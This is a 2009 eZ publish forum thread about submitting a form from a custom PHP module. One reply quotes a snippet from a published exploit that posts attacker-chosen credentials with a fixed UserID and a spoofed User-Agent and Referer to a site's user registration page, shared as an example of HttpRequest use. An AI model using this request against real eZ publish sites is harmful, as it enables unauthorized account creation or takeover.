Saturday 03 January 2009 11:16:20 pm - 4 replies
Modified on Saturday 03 January 2009 11:18:11 pm by zfirst zlast
Heath
Saturday 03 January 2009 11:49:43 pm
You may need to write a custom php module to re-post the forum submitted to it to another module. You might want to look at the following function, <i>http://www.php.net/manual/en/class.httprequest.php</i>
Cheers,Heath
Brookins Consulting | http://brookinsconsulting.com/ Certified | http://auth.ez.no/certification/verify/380350 Solutions | http://projects.ez.no/users/community/brookins_consulting eZpedia community documentation project | http://ezpedia.org
kracker (the)
Sunday 04 January 2009 12:07:44 am
<smirk /> Some of us could use to learn from this exploit's use of the httpRequest object to submit a form from an eZ publish module view. Enjoy ....
From: <i>http://www.astalavista.com/index.php?section=exploits&cmd=details&id=7599</i>
$post_fields = array( 'ContentObjectAttribute_data_user_login_30' => $ARG[u], 'ContentObjectAttribute_data_user_password_30' => $ARG[p], 'ContentObjectAttribute_data_user_password_confirm_30' => $ARG[p], 'ContentObjectAttribute_data_user_email_30' => $ARG[e], 'UserID' => '14', 'PublishButton' => '1' ); $headers = array( 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14', 'Referer' => $ARG[s] ); $res_http = new HttpRequest($ARG[s]."/user/register", HttpRequest::METH_POST); $res_http->addPostFields($post_fields); $res_http->addHeaders($headers); $response = $res_http->send()->getBody();
Cheers, <i>//kracker
Sole & The Skyrider Band,http://www.youtube.com/watch?v=Yoyp7NhiG70</i>
Member since: 2001.07.13 || http://ezpedia.se7enx.com/
zfirst zlast
Sunday 04 January 2009 2:20:37 am
Hi Heath and kracker, thank you for the helps, i have got it : )
Sunday 04 January 2009 4:43:05 am
Congratulations!
You must be logged in to post messages in this topic!